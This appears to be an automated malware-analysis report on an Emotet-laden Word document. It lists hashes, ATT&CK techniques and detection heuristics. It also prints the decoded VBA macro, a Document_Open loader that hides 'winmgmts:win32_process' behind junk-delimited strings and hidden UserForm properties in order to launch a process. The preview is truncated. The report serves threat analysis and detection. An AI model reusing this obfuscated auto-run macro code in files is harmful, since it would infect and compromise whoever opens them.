Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 940d511aaa1e0feb…

MALICIOUS

Office (OLE)

226.8 KB Created: 2020-08-12 21:54:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: f009ca645abaea4253aa89ba0ef2b059 SHA-1: 1fb92f9d841ae18bf9749ef90a64649d3d57f239 SHA-256: 940d511aaa1e0feb2752d9f34ba115ea742e680154c690e9abed671ed71d64c9
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, specifically a Document_Open macro that utilizes a hidden UserForm to execute code. This technique, combined with the CreateObject call and obfuscated string manipulation, is characteristic of Emotet's initial infection vector. The ClamAV detection ID further supports the Emotet family attribution. The macro's primary function appears to be downloading and executing a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9310503-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9310503-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4141 bytes
SHA-256: b52d3db25ffe314dc53dfa781cee0bfd6764930a0b9aa8082e8997d4548582bc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "QLGUUodiientjbhf"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
QHMLOezghgwelyu.WVQSYnacqiew
End Sub


Attribute VB_Name = "QHMLOezghgwelyu"
Attribute VB_Base = "0{81A2A269-52FE-49B9-9225-A08D8700D7C1}{34861ECE-FBB9-4012-98AB-EE7815A8CEC7}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function WVQSYnacqiew()
Dim BWSVNsu As Boolean
Dim Ni7 As Integer
For Ni7 = 9 To 1 + 5
DoEvents
Next Ni7
Dim Y0rZv5Í As String
Y0rZv5Í = Replace$("Dr7Êseqt2ÄjGQVO0áS", "Dr7Êseq", "tvaMYrmoEn")
WBOFAvekshbdmgvfmk = QHMLOezghgwelyu.Zoom
Dim qalqj4 As Long
KAWSVbkarvywfryoh = ChrW(WBOFAvekshbdmgvfmk + ((30 + 60 + 30) / (4 + 4)))
Dim yhtNIK As String
yhtNIK = Replace$("nKdCkXpeHroHmmAV", "nKdCkX", "vm6åKdYMpZW")
AYNIFrhskapxz = "[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3hw[jhkgab&*$%R s shs qw e21 23 12u3hi[jhkgab&*$%R s shs qw e21 23 12u3hnm[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3hgm[jhkgab&*$%R s shs qw e21 23 12u3ht[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3h" + KAWSVbkarvywfryoh + "[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3h:[jhkgab&*$%R s shs qw e21 23 12u3hw[jhkgab&*$%R s shs qw e21 23 12u3hin[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3h3[jhkgab&*$%R s shs qw e21 23 12u3h2[jhkgab&*$%R s shs qw e21 23 12u3h_[jhkgab&*$%R s shs qw e21 23 12u3h" + QHMLOezghgwelyu.GRANQlcepgbdiv + "[jhkgab&*$%R s shs qw e21 23 12u3hro[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3hce[jhkgab&*$%R s shs qw e21 23 12u3hs[jhkgab&*$%R s shs qw e21 23 12u3hs[jhkgab&*$%R s shs qw e21 23 12u3h"
Dim k5ÂIKQgoU As Integer
For k5ÂIKQgoU = 6 To 6 + 8
DoEvents
Next k5ÂIKQgoU
QEENHqokxhza = BTXSElealalvlytg(AYNIFrhskapxz)
Dim sEIBnP As Integer
For sEIBnP = 2 To 7 + 6
DoEvents
Next sEIBnP
Set IXNYDpmeiirqo = CreateObject(QEENHqokxhza)
Dim UVabibq As String
UVabibq = Replace$("ycBj1ÖTOSybqjOVnKd", "ycBj1ÖTOSy", "SFSnvA5Õ")
WPRBQnqqyfwuykjf = QHMLOezghgwelyu.ISRQKgakqswed.ControlTipText
Dim rpeHroH As Integer
For rpeHroH = 4 To 7 + 1
DoEvents
Next rpeHroH
AENYUjafcghdbb = wr3 + (QEENHqokxhza + KAWSVbkarvywfryoh + QHMLOezghgwelyu.TXWYXvhjnwaqq.ControlTipText + WPRBQnqqyfwuykjf)
Dim wvmmrH As Date
ZCRLLjitkrmeg = AENYUjafcghdbb + QHMLOezghgwelyu.GRANQlcepgbdiv
Dim MpZWoUV As Currency
Set TBPWHiwaokdig = KFORKkdrxaypug(ZCRLLjitkrmeg)
Dim CsIPfnFcJ As Integer
For CsIPfnFcJ = 5 To 4 + 1
DoEvents
Next CsIPfnFcJ
yu = Array(assq + "jhiay qyyww", IXNYDpmeiirqo. _
Create(EYAVSnlpwdduau, TEZXTfshjuvvq, TBPWHiwaokdig), masb1 + ":ghass utq wqgd")
Dim q4ÍwkMhcg As Integer
For q4ÍwkMhcg = 4 To 5 + 6
DoEvents
Next q4ÍwkMhcg
End Function
Function KFORKkdrxaypug(AQDXYotqjgakiullx)
Set KFORKkdrxaypug = CreateObject(AQDXYotqjgakiullx)
Dim OyVTtsivo As Byte
KFORKkdrxaypug. _
showwindow = RTLPTrsnqsyttwmat + RJRBXuoylwxghka
Dim Y1áM As Integer
For Y1áM = 1 To 7 + 3
DoEvents
Next Y1áM
End Function
Function BTXSElealalvlytg(GHDGVsmkjasch)
EYVPPgkblaetehww = GHDGVsmkjasch
Dim L4áNd6Ámj As Byte
GRJKPfisqoelkzvxloa = Split _
(EYVPPgkblaetehww, "[jhkgab&*$%R s shs qw e21 23 12u3h")
Dim BXimg3Í As Integer
For BXimg3Í = 9 To 1 + 3
DoEvents
Next BXimg3Í
BFDDJuayzjnbzde = xz + Join(GRJKPfisqoelkzvxloa, cvw)
Dim eqKEGj1ÅnOB As String
eqKEGj1ÅnOB = Replace$("Ssrh6ÈYuMTnpOyVT", "Ssrh6ÈY", "beJuHaVX")
BTXSElealalvlytg = BFDDJuayzjnbzde
Dim Iwwp As Double
End Function
Function EYAVSnlpwdduau()
j = QHMLOezghgwelyu.BUVCQxnbikdfs.Pages(vbOK).Tag
Dim mj0Ù As Long
EYAVSnlpwdduau = BTXSElealalvlytg(j)
Dim YB2ÏF4ÛsA As Integer
For YB2ÏF4ÛsA = 7 To 4 + 4
DoEvents
Next YB2ÏF4ÛsA
End Fun
... (truncated)

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